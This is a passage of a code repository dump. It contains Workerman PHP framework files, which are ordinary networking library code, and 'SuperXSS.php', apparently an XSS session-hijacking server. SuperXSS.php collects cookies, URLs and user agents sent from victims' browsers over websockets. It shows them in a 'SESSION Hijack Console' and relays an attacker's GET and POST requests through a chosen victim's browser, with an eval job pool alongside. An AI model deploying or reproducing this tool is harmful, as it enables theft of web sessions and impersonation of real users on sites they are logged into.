190 | Http::header('HTTP/1.1 400 Bad Request');
191 | $connection->close('400 Bad Request
');
192 | return;
193 | }
194 |
195 | $workerman_file = realpath($workerman_file);
196 |
197 | // Request php file.
198 | if ($workerman_file_extension === 'php') {
199 | $workerman_cwd = getcwd();
200 | chdir($workerman_root_dir);
201 | ini_set('display_errors', 'off');
202 | ob_start();
203 | // Try to include php file.
204 | try {
205 | // $_SERVER.
206 | $_SERVER['REMOTE_ADDR'] = $connection->getRemoteIp();
207 | $_SERVER['REMOTE_PORT'] = $connection->getRemotePort();
208 | include $workerman_file;
209 | } catch (\Exception $e) {
210 | // Jump_exit?
211 | if ($e->getMessage() != 'jump_exit') {
212 | echo $e;
213 | }
214 | }
215 | $content = ob_get_clean();
216 | ini_set('display_errors', 'on');
217 | if (strtolower($_SERVER['HTTP_CONNECTION']) === "keep-alive") {
218 | $connection->send($content);
219 | } else {
220 | $connection->close($content);
221 | }
222 | chdir($workerman_cwd);
223 | return;
224 | }
225 |
226 | // Send file to client.
227 | return self::sendFile($connection, $workerman_file);
228 | } else {
229 | // 404
230 | Http::header("HTTP/1.1 404 Not Found");
231 | if(isset($workerman_siteConfig['custom404']) && file_exists($workerman_siteConfig['custom404'])){
232 | $html404 = file_get_contents($workerman_siteConfig['custom404']);
233 | }else{
234 | $html404 = '404 File not found404 Not Found
';
235 | }
236 | $connection->close($html404);
237 | return;
238 | }
239 | }
240 |
241 | public static function sendFile($connection, $file_path)
242 | {
243 | // Check 304.
244 | $info = stat($file_path);
245 | $modified_time = $info ? date('D, d M Y H:i:s', $info['mtime']) . ' ' . date_default_timezone_get() : '';
246 | if (!empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) && $info) {
247 | // Http 304.
248 | if ($modified_time === $_SERVER['HTTP_IF_MODIFIED_SINCE']) {
249 | // 304
250 | Http::header('HTTP/1.1 304 Not Modified');
251 | // Send nothing but http headers..
252 | $connection->close('');
253 | return;
254 | }
255 | }
256 |
257 | // Http header.
258 | if ($modified_time) {
259 | $modified_time = "Last-Modified: $modified_time\r\n";
260 | }
261 | $file_size = filesize($file_path);
262 | $file_info = pathinfo($file_path);
263 | $extension = isset($file_info['extension']) ? $file_info['extension'] : '';
264 | $file_name = isset($file_info['filename']) ? $file_info['filename'] : '';
265 | $header = "HTTP/1.1 200 OK\r\n";
266 | if (isset(self::$mimeTypeMap[$extension])) {
267 | $header .= "Content-Type: " . self::$mimeTypeMap[$extension] . "\r\n";
268 | } else {
269 | $header .= "Content-Type: application/octet-stream\r\n";
270 | $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n";
271 | }
272 | $header .= "Connection: keep-alive\r\n";
273 | $header .= $modified_time;
274 | $header .= "Content-Length: $file_size\r\n\r\n";
275 | $trunk_limit_size = 1024*1024;
276 | if ($file_size < $trunk_limit_size) {
277 | return $connection->send($header.file_get_contents($file_path), true);
278 | }
279 | $connection->send($header, true);
280 |
281 | // Read file content from disk piece by piece and send to client.
282 | $connection->fileHandler = fopen($file_path, 'r');
283 | $do_write = function()use($connection)
284 | {
285 | // Send buffer not full.
286 | while(empty($connection->bufferFull))
287 | {
288 | // Read from disk.
289 | $buffer = fread($connection->fileHandler, 8192);
290 | // Read eof.
291 | if($buffer === '' || $buffer === false)
292 | {
293 | return;
294 | }
295 | $connection->send($buffer, true);
296 | }
297 | };
298 | // Send buffer full.
299 | $connection->onBufferFull = function($connection)
300 | {
301 | $connection->bufferFull = true;
302 | };
303 | // Send buffer drain.
304 | $connection->onBufferDrain = function($connection)use($do_write)
305 | {
306 | $connection->bufferFull = false;
307 | $do_write();
308 | };
309 | $do_write();
310 | }
311 | }
312 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Connection/AsyncTcpConnection.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Connection;
15 |
16 | use Workerman\Events\EventInterface;
17 | use Workerman\Lib\Timer;
18 | use Workerman\Worker;
19 | use Exception;
20 |
21 | /**
22 | * AsyncTcpConnection.
23 | */
24 | class AsyncTcpConnection extends TcpConnection
25 | {
26 | /**
27 | * Emitted when socket connection is successfully established.
28 | *
29 | * @var callback
30 | */
31 | public $onConnect = null;
32 |
33 | /**
34 | * Transport layer protocol.
35 | *
36 | * @var string
37 | */
38 | public $transport = 'tcp';
39 |
40 | /**
41 | * Status.
42 | *
43 | * @var int
44 | */
45 | protected $_status = self::STATUS_INITIAL;
46 |
47 | /**
48 | * Remote host.
49 | *
50 | * @var string
51 | */
52 | protected $_remoteHost = '';
53 |
54 | /**
55 | * Remote port.
56 | *
57 | * @var int
58 | */
59 | protected $_remotePort = 80;
60 |
61 | /**
62 | * Connect start time.
63 | *
64 | * @var string
65 | */
66 | protected $_connectStartTime = 0;
67 |
68 | /**
69 | * Remote URI.
70 | *
71 | * @var string
72 | */
73 | protected $_remoteURI = '';
74 |
75 | /**
76 | * Context option.
77 | *
78 | * @var resource
79 | */
80 | protected $_contextOption = null;
81 |
82 | /**
83 | * Reconnect timer.
84 | *
85 | * @var int
86 | */
87 | protected $_reconnectTimer = null;
88 |
89 |
90 | /**
91 | * PHP built-in protocols.
92 | *
93 | * @var array
94 | */
95 | protected static $_builtinTransports = array(
96 | 'tcp' => 'tcp',
97 | 'udp' => 'udp',
98 | 'unix' => 'unix',
99 | 'ssl' => 'ssl',
100 | 'sslv2' => 'sslv2',
101 | 'sslv3' => 'sslv3',
102 | 'tls' => 'tls'
103 | );
104 |
105 | /**
106 | * Construct.
107 | *
108 | * @param string $remote_address
109 | * @param array $context_option
110 | * @throws Exception
111 | */
112 | public function __construct($remote_address, $context_option = null)
113 | {
114 | $address_info = parse_url($remote_address);
115 | if (!$address_info) {
116 | list($scheme, $this->_remoteAddress) = explode(':', $remote_address, 2);
117 | if (!$this->_remoteAddress) {
118 | echo new \Exception('bad remote_address');
119 | }
120 | } else {
121 | if (!isset($address_info['port'])) {
122 | $address_info['port'] = 80;
123 | }
124 | if (!isset($address_info['path'])) {
125 | $address_info['path'] = '/';
126 | }
127 | if (!isset($address_info['query'])) {
128 | $address_info['query'] = '';
129 | } else {
130 | $address_info['query'] = '?' . $address_info['query'];
131 | }
132 | $this->_remoteAddress = "{$address_info['host']}:{$address_info['port']}";
133 | $this->_remoteHost = $address_info['host'];
134 | $this->_remotePort = $address_info['port'];
135 | $this->_remoteURI = "{$address_info['path']}{$address_info['query']}";
136 | $scheme = isset($address_info['scheme']) ? $address_info['scheme'] : 'tcp';
137 | }
138 |
139 | $this->id = $this->_id = self::$_idRecorder++;
140 | if(PHP_INT_MAX === self::$_idRecorder){
141 | self::$_idRecorder = 0;
142 | }
143 | // Check application layer protocol class.
144 | if (!isset(self::$_builtinTransports[$scheme])) {
145 | $scheme = ucfirst($scheme);
146 | $this->protocol = '\\Protocols\\' . $scheme;
147 | if (!class_exists($this->protocol)) {
148 | $this->protocol = "\\Workerman\\Protocols\\$scheme";
149 | if (!class_exists($this->protocol)) {
150 | throw new Exception("class \\Protocols\\$scheme not exist");
151 | }
152 | }
153 | } else {
154 | $this->transport = self::$_builtinTransports[$scheme];
155 | }
156 |
157 | // For statistics.
158 | self::$statistics['connection_count']++;
159 | $this->maxSendBufferSize = self::$defaultMaxSendBufferSize;
160 | $this->_contextOption = $context_option;
161 | static::$connections[$this->_id] = $this;
162 | }
163 |
164 | /**
165 | * Do connect.
166 | *
167 | * @return void
168 | */
169 | public function connect()
170 | {
171 | if ($this->_status !== self::STATUS_INITIAL && $this->_status !== self::STATUS_CLOSING &&
172 | $this->_status !== self::STATUS_CLOSED) {
173 | return;
174 | }
175 | $this->_status = self::STATUS_CONNECTING;
176 | $this->_connectStartTime = microtime(true);
177 | if ($this->transport !== 'unix') {
178 | // Open socket connection asynchronously.
179 | if ($this->_contextOption) {
180 | $context = stream_context_create($this->_contextOption);
181 | $this->_socket = stream_socket_client("tcp://{$this->_remoteHost}:{$this->_remotePort}",
182 | $errno, $errstr, 0, STREAM_CLIENT_ASYNC_CONNECT, $context);
183 | } else {
184 | $this->_socket = stream_socket_client("tcp://{$this->_remoteHost}:{$this->_remotePort}",
185 | $errno, $errstr, 0, STREAM_CLIENT_ASYNC_CONNECT);
186 | }
187 | } else {
188 | $this->_socket = stream_socket_client("{$this->transport}://{$this->_remoteAddress}", $errno, $errstr, 0,
189 | STREAM_CLIENT_ASYNC_CONNECT);
190 | }
191 | // If failed attempt to emit onError callback.
192 | if (!$this->_socket) {
193 | $this->emitError(WORKERMAN_CONNECT_FAIL, $errstr);
194 | if ($this->_status === self::STATUS_CLOSING) {
195 | $this->destroy();
196 | }
197 | if ($this->_status === self::STATUS_CLOSED) {
198 | $this->onConnect = null;
199 | }
200 | return;
201 | }
202 | // Add socket to global event loop waiting connection is successfully established or faild.
203 | Worker::$globalEvent->add($this->_socket, EventInterface::EV_WRITE, array($this, 'checkConnection'));
204 | // For windows.
205 | if(DIRECTORY_SEPARATOR === '\\') {
206 | Worker::$globalEvent->add($this->_socket, EventInterface::EV_EXCEPT, array($this, 'checkConnection'));
207 | }
208 | }
209 |
210 | /**
211 | * Reconnect.
212 | *
213 | * @param int $after
214 | * @return void
215 | */
216 | public function reConnect($after = 0) {
217 | $this->_status = self::STATUS_INITIAL;
218 | static::$connections[$this->_id] = $this;
219 | if ($this->_reconnectTimer) {
220 | Timer::del($this->_reconnectTimer);
221 | }
222 | if ($after > 0) {
223 | $this->_reconnectTimer = Timer::add($after, array($this, 'connect'), null, false);
224 | return;
225 | }
226 | $this->connect();
227 | }
228 |
229 | /**
230 | * Get remote address.
231 | *
232 | * @return string
233 | */
234 | public function getRemoteHost()
235 | {
236 | return $this->_remoteHost;
237 | }
238 |
239 | /**
240 | * Get remote URI.
241 | *
242 | * @return string
243 | */
244 | public function getRemoteURI()
245 | {
246 | return $this->_remoteURI;
247 | }
248 |
249 | /**
250 | * Try to emit onError callback.
251 | *
252 | * @param int $code
253 | * @param string $msg
254 | * @return void
255 | */
256 | protected function emitError($code, $msg)
257 | {
258 | $this->_status = self::STATUS_CLOSING;
259 | if ($this->onError) {
260 | try {
261 | call_user_func($this->onError, $this, $code, $msg);
262 | } catch (\Exception $e) {
263 | Worker::log($e);
264 | exit(250);
265 | } catch (\Error $e) {
266 | Worker::log($e);
267 | exit(250);
268 | }
269 | }
270 | }
271 |
272 | /**
273 | * Check connection is successfully established or faild.
274 | *
275 | * @param resource $socket
276 | * @return void
277 | */
278 | public function checkConnection($socket)
279 | {
280 | // Remove EV_EXPECT for windows.
281 | if(DIRECTORY_SEPARATOR === '\\') {
282 | Worker::$globalEvent->del($socket, EventInterface::EV_EXCEPT);
283 | }
284 |
285 | // Check socket state.
286 | if ($address = stream_socket_get_name($socket, true)) {
287 | // Nonblocking.
288 | stream_set_blocking($socket, 0);
289 | // Compatible with hhvm
290 | if (function_exists('stream_set_read_buffer')) {
291 | stream_set_read_buffer($socket, 0);
292 | }
293 | // Try to open keepalive for tcp and disable Nagle algorithm.
294 | if (function_exists('socket_import_stream') && $this->transport === 'tcp') {
295 | $raw_socket = socket_import_stream($socket);
296 | socket_set_option($raw_socket, SOL_SOCKET, SO_KEEPALIVE, 1);
297 | socket_set_option($raw_socket, SOL_TCP, TCP_NODELAY, 1);
298 | }
299 |
300 | // Remove write listener.
301 | Worker::$globalEvent->del($socket, EventInterface::EV_WRITE);
302 |
303 | // SSL handshake.
304 | if ($this->transport === 'ssl') {
305 | $this->_sslHandshakeCompleted = $this->doSslHandshake($socket);
306 | } else {
307 | // There are some data waiting to send.
308 | if ($this->_sendBuffer) {
309 | Worker::$globalEvent->add($socket, EventInterface::EV_WRITE, array($this, 'baseWrite'));
310 | }
311 | }
312 |
313 | // Register a listener waiting read event.
314 | Worker::$globalEvent->add($socket, EventInterface::EV_READ, array($this, 'baseRead'));
315 |
316 | $this->_status = self::STATUS_ESTABLISHED;
317 | $this->_remoteAddress = $address;
318 |
319 | // Try to emit onConnect callback.
320 | if ($this->onConnect) {
321 | try {
322 | call_user_func($this->onConnect, $this);
323 | } catch (\Exception $e) {
324 | Worker::log($e);
325 | exit(250);
326 | } catch (\Error $e) {
327 | Worker::log($e);
328 | exit(250);
329 | }
330 | }
331 | // Try to emit protocol::onConnect
332 | if (method_exists($this->protocol, 'onConnect')) {
333 | try {
334 | call_user_func(array($this->protocol, 'onConnect'), $this);
335 | } catch (\Exception $e) {
336 | Worker::log($e);
337 | exit(250);
338 | } catch (\Error $e) {
339 | Worker::log($e);
340 | exit(250);
341 | }
342 | }
343 | } else {
344 | // Connection failed.
345 | $this->emitError(WORKERMAN_CONNECT_FAIL, 'connect ' . $this->_remoteAddress . ' fail after ' . round(microtime(true) - $this->_connectStartTime, 4) . ' seconds');
346 | if ($this->_status === self::STATUS_CLOSING) {
347 | $this->destroy();
348 | }
349 | if ($this->_status === self::STATUS_CLOSED) {
350 | $this->onConnect = null;
351 | }
352 | }
353 | }
354 | }
355 |
--------------------------------------------------------------------------------
/SuperXSS/SuperXSS.php:
--------------------------------------------------------------------------------
1 | count = $Config['CONSOLE_WORKER_COUNT'];
16 | $WS_listen_worker -> count = $Config['WS_WORKER_COUNT'];
17 |
18 | //status: 0 已发送给ws 1 ws已经确认收到请求 2 已收到ws返回结果包
19 |
20 | $WS_listen_worker -> onWorkerStart = function(){
21 | global $GD_Client;
22 | $GD_Client = new \GlobalData\Client('127.0.0.1:22018');
23 | $GD_Client -> sessionlist = array();
24 | $GD_Client -> reply_pool = array();
25 | $GD_Client -> eval_pool = array();
26 | $GD_Client -> send_pool = array();
27 | $GD_Client -> reply_pool_lock = false;
28 | };
29 |
30 | $Hijack_console_worker -> onWorkerStart = function(){
31 | global $GD_Client;
32 | $GD_Client = new \GlobalData\Client('127.0.0.1:22018');
33 | };
34 |
35 | $WS_listen_worker -> onConnect = function($connection){
36 | //4s未发送ping包关闭连接
37 | $connection -> auth_timer_id = Timer::add(4, function()use($connection){
38 | $connection -> close();
39 | }, null, false);
40 |
41 | $connection -> send_timer = Timer::add(0.1, function()use($connection){
42 | global $GD_Client;
43 | $send_pool = $GD_Client -> send_pool;
44 | $unsetlist = array();
45 | foreach($send_pool as $k => $v){
46 | if($v['SESSIONID'] == $connection -> sessionid){
47 | $connection -> send($v['BODY']);
48 | $unsetlist[] = $k;
49 | }
50 | }
51 | foreach($unsetlist as $v){
52 | unset($send_pool[$v]);
53 | }
54 | $GD_Client -> send_pool = $send_pool;
55 | });
56 |
57 |
58 | $connection -> autojob_timer = Timer::add(5, function()use($connection){
59 | global $GD_Client;
60 | while(true){
61 | if(!$GD_Client -> reply_pool_lock){
62 | $GD_Client -> reply_pool_lock = true;
63 | break;
64 | }else{
65 | usleep(1000);
66 | }
67 | }
68 | $reply_pool = $GD_Client -> reply_pool;
69 | foreach($reply_pool as $k => $v){
70 | if((time() - $v['ADD_TIME'] >= 8 && $v['STATUS'] == 0) || (time() - $v['ADD_TIME'] >= 20 && $v['STATUS'] == 1)){
71 | $reply_pool[$k]['STATUS'] = 2;
72 | $reply_pool[$k]['STATUS_CODE'] = 504;
73 | $reply_pool[$k]['CT'] = "text/html";
74 | $reply_pool[$k]['CONTENT'] = "Client failed to reply within time limit";
75 | }
76 | }
77 | $GD_Client -> reply_pool = $reply_pool;
78 | $eval_pool = $GD_Client -> eval_pool;
79 | foreach($eval_pool as $k => $v){
80 | if((time() - $v['ADD_TIME'] >= 8 && $v['STATUS'] == 0) || (time() - $v['ADD_TIME'] >= 20 && $v['STATUS'] == 1)){
81 | $eval_pool[$k]['STATUS'] = 2;
82 | $eval_pool[$k]['CONTENT'] = "";
83 | }
84 | }
85 | $GD_Client -> eval_pool = $eval_pool;
86 | $GD_Client -> reply_pool_lock = false;
87 | });
88 | };
89 |
90 | $WS_listen_worker -> onClose = function($connection){
91 | global $GD_Client;
92 | while(true){
93 | if(!$GD_Client -> reply_pool_lock){
94 | $GD_Client -> reply_pool_lock = true;
95 | break;
96 | }else{
97 | usleep(5000);
98 | }
99 | }
100 | $sessionlist = $GD_Client -> sessionlist;
101 | $eval_pool = $GD_Client -> eval_pool;
102 | $reply_pool = $GD_Client -> reply_pool;
103 |
104 | if(isset($connection -> sessionid) && isset($sessionlist[$connection -> sessionid])){
105 | unset($sessionlist[$connection -> sessionid]);
106 | }
107 | for($i = 0; $i < count($reply_pool); $i++){
108 | if($reply_pool[$i]['SESSIONID'] === $connection -> sessionid && $reply_pool[$i]['STATUS'] != 2){
109 | $reply_pool[$i]['STATUS'] = 2;
110 | $reply_pool[$i]['STATUS_CODE'] = 503;
111 | $reply_pool[$i]['CT'] = "text/html";
112 | $reply_pool[$i]['CONTENT'] = "Client closed the websocket connection";
113 | }
114 | }
115 | for($i = 0; $i < count($eval_pool); $i++){
116 | if($eval_pool[$i]['SESSIONID'] === $connection -> sessionid && $eval_pool[$i]['STATUS'] != 2){
117 | $eval_pool[$i]['STATUS'] = 2;
118 | $eval_pool[$i]['CONTENT'] = "";
119 | }
120 | }
121 |
122 | $GD_Client -> sessionlist = $sessionlist;
123 | $GD_Client -> reply_pool = $reply_pool;
124 | $GD_Client -> eval_pool = $eval_pool;
125 | $GD_Client -> reply_pool_lock = false;
126 | };
127 |
128 | $WS_listen_worker -> onMessage = function($connection, $data){
129 | global $GD_Client;
130 | //确认数据包
131 | if(!$data = json_decode($data, true)){
132 | $connection -> close();
133 | }elseif(!isset($data['OP'])){
134 | $connection -> close();
135 | }
136 |
137 | switch($data['OP']){
138 | case "init":
139 | if(isset($data['UA']) && isset($data['REFERER']) && isset($data['URL']) && isset($data['BASEURL']) && isset($data['COOKIE']) && !isset($connection -> sessionid)){
140 | $res['INITSTATUS'] = 1;
141 | $connection -> sessionid = randChar(20);
142 | $sessionlist = $GD_Client -> sessionlist;
143 | $sessionlist[$connection -> sessionid] = array("LastPing" => time(),
144 | "IP" => $connection -> getRemoteIp(),
145 | "UA" => htmlspecialchars(base64_decode($data['UA'])),
146 | "URL" => htmlspecialchars(base64_decode($data['URL'])),
147 | "REFERER" => htmlspecialchars(base64_decode($data['REFERER'])),
148 | "BASEURL" => htmlspecialchars(base64_decode($data['BASEURL'])),
149 | "COOKIE" => htmlspecialchars(base64_decode($data['COOKIE'])));
150 | $GD_Client -> sessionlist = $sessionlist;
151 | Timer::del($connection -> auth_timer_id);
152 | //一旦12s没有提交心跳包则关闭连接
153 | $connection -> auth_timer_id = Timer::add(12, function()use($connection){
154 | $connection->close();
155 | }, null, false);
156 | $connection -> send(json_encode($res));
157 | }else{
158 | $connection -> close();
159 | }
160 | break;
161 | case "ping":
162 | $res['PINGSTATUS'] = 1;
163 | $sessionlist = $GD_Client -> sessionlist;
164 | if(!isset($connection -> sessionid) || !isset($sessionlist[$connection -> sessionid])){
165 | $connection -> close();
166 | }
167 | $sessionlist[$connection -> sessionid]["LastPing"] = time();
168 | $GD_Client -> sessionlist = $sessionlist;
169 | //reset timer
170 | Timer::del($connection -> auth_timer_id);
171 | $connection -> auth_timer_id = Timer::add(12, function()use($connection){
172 | $connection->close();
173 | }, null, false);
174 | $connection -> send(json_encode($res));
175 | break;
176 | case "pushxhr":
177 | while(true){
178 | if(!$GD_Client -> reply_pool_lock){
179 | $GD_Client -> reply_pool_lock = true;
180 | break;
181 | }else{
182 | usleep(5000);
183 | }
184 | }
185 | $sessionlist = $GD_Client -> sessionlist;
186 | $reply_pool = $GD_Client -> reply_pool;
187 | if(!isset($connection -> sessionid) || !isset($sessionlist[$connection -> sessionid])){
188 | $connection -> close();
189 | }
190 | if(isset($data['STATUS_CODE']) && is_numeric($data['STATUS_CODE']) && isset($data['JOBID']) && isset($data['CT']) && isset($data['CONTENT'])){
191 | if($data['STATUS_CODE'] > 999){
192 | $connection -> close();
193 | }
194 | if(isset($reply_pool[$data['JOBID']]) && $reply_pool[$data['JOBID']]['STATUS'] == 1){
195 | $res['STATUS'] = 1;
196 | $res['JOBID'] = $data['JOBID'];
197 | $reply_pool[$data['JOBID']]['STATUS_CODE'] = intval($data['STATUS_CODE']);
198 | $reply_pool[$data['JOBID']]['CT'] = $data['CT'];
199 | $reply_pool[$data['JOBID']]['CONTENT'] = hex2bin($data['CONTENT']);
200 | $reply_pool[$data['JOBID']]['STATUS'] = 2;
201 | }else{
202 | $res['STATUS'] = 0;
203 | $res['JOBID'] = $data['JOBID'];
204 | }
205 | $GD_Client -> reply_pool = $reply_pool;
206 | $GD_Client -> reply_pool_lock = false;
207 | $connection -> send(json_encode($res));
208 | }else{
209 | $GD_Client -> reply_pool_lock = false;
210 | $connection -> close();
211 | }
212 | break;
213 | case "confirmxhr":
214 | while(true){
215 | if(!$GD_Client -> reply_pool_lock){
216 | $GD_Client -> reply_pool_lock = true;
217 | break;
218 | }else{
219 | usleep(5000);
220 | }
221 | }
222 | $sessionlist = $GD_Client -> sessionlist;
223 | $reply_pool = $GD_Client -> reply_pool;
224 | if(!isset($connection -> sessionid) || !isset($sessionlist[$connection -> sessionid])){
225 | $GD_Client -> reply_pool_lock = false;
226 | $connection -> close();
227 | }
228 | if(isset($data['JOBID']) && isset($reply_pool[$data['JOBID']]) && $reply_pool[$data['JOBID']]['STATUS'] == 0){
229 | $reply_pool[$data['JOBID']]['STATUS'] = 1;
230 | $res['STATUS'] = 1;
231 | $res['JOBID'] = $data['JOBID'];
232 | }else{
233 | $res['STATUS'] = 0;
234 | $res['JOBID'] = $data['JOBID'];
235 | }
236 | $GD_Client -> reply_pool = $reply_pool;
237 | $GD_Client -> reply_pool_lock = false;
238 | $connection -> send(json_encode($res));
239 | break;
240 | case "confirmeval":
241 | $sessionlist = $GD_Client -> sessionlist;
242 | $eval_pool = $GD_Client -> eval_pool;
243 | if(!isset($connection -> sessionid) || !isset($sessionlist[$connection -> sessionid])){
244 | $connection -> close();
245 | }
246 | if(isset($data['JOBID']) && isset($eval_pool[$data['JOBID']]) && $eval_pool[$data['JOBID']]['STATUS'] == 0){
247 | $eval_pool[$data['JOBID']]['STATUS'] = 1;
248 | $res['STATUS'] = 1;
249 | $res['JOBID'] = $data['JOBID'];
250 | }else{
251 | $res['STATUS'] = 0;
252 | $res['JOBID'] = $data['JOBID'];
253 | }
254 | $GD_Client -> eval_pool = $eval_pool;
255 | $connection -> send(json_encode($res));
256 | break;
257 | case "pusheval":
258 | $sessionlist = $GD_Client -> sessionlist;
259 | $eval_pool = $GD_Client -> eval_pool;
260 | if(!isset($connection -> sessionid) || !isset($sessionlist[$connection -> sessionid])){
261 | $connection -> close();
262 | }
263 | if(isset($data['JOBID']) && isset($data['CONTENT'])){
264 | if(isset($eval_pool[$data['JOBID']]) && $eval_pool[$data['JOBID']]['STATUS'] == 1){
265 | $res['STATUS'] = 1;
266 | $res['JOBID'] = $data['JOBID'];
267 | $eval_pool[$data['JOBID']]['CONTENT'] = hex2bin($data['CONTENT']);
268 | $eval_pool[$data['JOBID']]['STATUS'] = 2;
269 | }else{
270 | $res['STATUS'] = 0;
271 | $res['JOBID'] = $data['JOBID'];
272 | }
273 | $GD_Client -> eval_pool = $eval_pool;
274 | $connection -> send(json_encode($res));
275 | }else{
276 | $connection -> close();
277 | }
278 | break;
279 | }
280 | };
281 |
282 | $Hijack_console_worker -> onMessage = function($connection, $data)use($Config){
283 | global $GD_Client;
284 | $sessionlist = $GD_Client -> sessionlist;
285 | $eval_pool = $GD_Client -> eval_pool;
286 | if(!isset($_COOKIE['hijack_session']) && !isset($_GET['hijack_session'])){
287 | $html = 'SuperXSS SESSION Hijack Console';
288 | $html .= 'SuperXSS SESSION Hijack Console
';
289 | foreach($sessionlist as $session => $info){
290 | $s = time() - $info['LastPing'];
291 | $html .= '
';
292 | $html .= '上次心跳包: ' . $s . '秒前
';
293 | $html .= 'IP: '.$info['IP'].'
';
294 | $html .= 'URL: '.$info['URL'].'
';
295 | $html .= 'User-Agent: '.$info['UA'].'
';
296 | $html .= 'Referer: '.$info['REFERER'].'
';
297 | $html .= 'Cookie: '.$info['COOKIE'].'
';
298 | $html .= '
';
299 | }
300 | $html .= '
';
301 | foreach($sessionlist as $session => $info){
302 | $html .= '
Hijack this session';
303 | }
304 | $html .= '
';
305 | $connection -> send($html);
306 | //$connection -> send(var_export($_SERVER, true).var_export($_POST, true).var_export($_FILES, true));
307 | }elseif(isset($_GET['hijack_session'])){
308 | if(!isset($sessionlist[$_GET['hijack_session']])){
309 | Workerman\Protocols\Http::header('HTTP', true, 404);
310 | $connection -> send("Current Session not exists or no longer be able to use");
311 | }else{
312 | Workerman\Protocols\Http::setcookie('hijack_session', $_GET['hijack_session']);
313 | Workerman\Protocols\Http::header("Location: /");
314 | $connection -> send("Redirecting...");
315 | }
316 | }else{
317 | $currentsession = $_COOKIE['hijack_session'];
318 | if(!isset($sessionlist[$currentsession])){
319 | Workerman\Protocols\Http::header('HTTP', true, 404);
320 | $connection -> send("Current Session not exists or no longer be able to use");
321 | }else{
322 | $directend = false;
323 | while(true){
324 | if(!$GD_Client -> reply_pool_lock){
325 | $GD_Client -> reply_pool_lock = true;
326 | break;
327 | }else{
328 | usleep(5000);
329 | }
330 | }
331 | $reply_pool = $GD_Client -> reply_pool;
332 | $currentsession = $sessionlist[$currentsession];
333 | if($_SERVER['REQUEST_METHOD'] == 'GET'){
334 | $filesuffix = explode('?', $_SERVER['REQUEST_URI']);
335 | $filesuffix = explode('.', $filesuffix[0]);
336 | $filesuffix = $filesuffix[count($filesuffix) - 1];
337 | if(in_array($filesuffix, explode(',', $Config['IGNORE_SUFFIX']))){
338 | //静态文件302直接访问
339 | $realpath = $currentsession['BASEURL'] . $_SERVER['REQUEST_URI'];
340 | Workerman\Protocols\Http::header("Location: {$realpath}");
341 | $GD_Client -> reply_pool_lock = false;
342 | $directend = true;
343 | $connection -> send("Redirecting...");
344 | }else{
345 | $jobid = randChar(8) . time();
346 | $reply_pool[$jobid] = array('STATUS' => 0,
347 | 'SESSIONID' => $_COOKIE['hijack_session'],
348 | 'ADD_TIME' => time()
349 | );
350 |
351 | $send = array("OP" => "GET",
352 | "URI" => $_SERVER['REQUEST_URI'],
353 | "JOBID" => $jobid);
354 | $GD_Client -> reply_pool = $reply_pool;
355 | $GD_Client -> reply_pool_lock = false;
356 | $send_pool = $GD_Client -> send_pool;
357 | $send_pool[] = array('SESSIONID' => $_COOKIE['hijack_session'], 'BODY' => json_encode($send));
358 | $GD_Client -> send_pool = $send_pool;
359 | }
360 | }elseif($_SERVER['REQUEST_METHOD'] == 'POST'){
361 | $jobid = randChar(8) . time();
362 | $reply_pool[$jobid] = array('STATUS' => 0,
363 | 'SESSIONID' => $_COOKIE['hijack_session'],
364 | 'ADD_TIME' => time()
365 | );
366 | $GD_Client -> reply_pool = $reply_pool;
367 | $GD_Client -> reply_pool_lock = false;
368 | $send = array("OP" => "POST",
369 | "URI" => $_SERVER['REQUEST_URI'],
370 | "CT" => $_SERVER['HTTP_CONTENT_TYPE'],
371 | "DATA" => bin2hex($GLOBALS['HTTP_RAW_POST_DATA']),
372 | "JOBID" => $jobid);
373 | $send_pool = $GD_Client -> send_pool;
374 | $send_pool[] = array('SESSIONID' => $_COOKIE['hijack_session'], 'BODY' => json_encode($send));
375 | $GD_Client -> send_pool = $send_pool;
376 | }else{
377 | $GD_Client -> reply_pool_lock = false;
378 | }
379 | if(!$directend){
380 | while(true){
381 | while(true){
382 | if(!$GD_Client -> reply_pool_lock){
383 | $GD_Client -> reply_pool_lock = true;
384 | break;
385 | }else{
386 | usleep(1000);
387 | }
388 | }
389 | $reply_pool = $GD_Client -> reply_pool;
390 | if(!isset($reply_pool[$jobid])){
391 | echo $jobid."\n";
392 | $GD_Client -> reply_pool_lock = false;
393 | Workerman\Protocols\Http::header('HTTP', true, 500);
394 | $connection -> send("Server has experienced an exception");
395 | break;
396 | }else{
397 | if($reply_pool[$jobid]['STATUS'] == 2){
398 | Workerman\Protocols\Http::header('HTTP', true, $reply_pool[$jobid]['STATUS_CODE']);
399 | Workerman\Protocols\Http::header('Content-Type: ' . $reply_pool[$jobid]['CT']);
400 | $content = $reply_pool[$jobid]['CONTENT'];
401 | unset($reply_pool[$jobid]);
402 | if($Config['DOMAIN_AUTO_REPLACE'] == true){
403 | $content = str_replace('https:', '', str_replace('http:', '', str_replace(str_replace('https://','',str_replace('http://','',$currentsession['BASEURL'])), str_replace('https://','',str_replace('http://','',$Config['REPLACE_ADDR'])), $content)));
404 | }
405 |
406 | $GD_Client -> reply_pool = $reply_pool;
407 | $GD_Client -> reply_pool_lock = false;
408 | $connection -> send($content);
409 | break;
410 | }else{
411 | $GD_Client -> reply_pool_lock = false;
412 | usleep(100000); //等待100ms
413 | }
414 | }
415 | }
416 | }
417 | }
418 | }
419 | };
420 |
421 | Worker::runAll();
--------------------------------------------------------------------------------
/SuperXSS/Workerman/README.md:
--------------------------------------------------------------------------------
1 | # Workerman
2 | [](https://gitter.im/walkor/Workerman?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=body_badge)
3 | [](https://packagist.org/packages/workerman/workerman)
4 | [](https://packagist.org/packages/workerman/workerman)
5 | [](https://packagist.org/packages/workerman/workerman)
6 | [](https://packagist.org/packages/workerman/workerman)
7 | [](https://packagist.org/packages/workerman/workerman)
8 |
9 | ## What is it
10 | Workerman is an asynchronous event driven PHP framework with high performance for easily building fast, scalable network applications. Supports HTTP, Websocket, SSL and other custom protocols. Supports libevent, [HHVM](https://github.com/facebook/hhvm) , [ReactPHP](https://github.com/reactphp/react).
11 |
12 | ## Requires
13 | PHP 5.3 or Higher
14 | A POSIX compatible operating system (Linux, OSX, BSD)
15 | POSIX and PCNTL extensions for PHP
16 |
17 | ## Installation
18 |
19 | ```
20 | composer require workerman/workerman
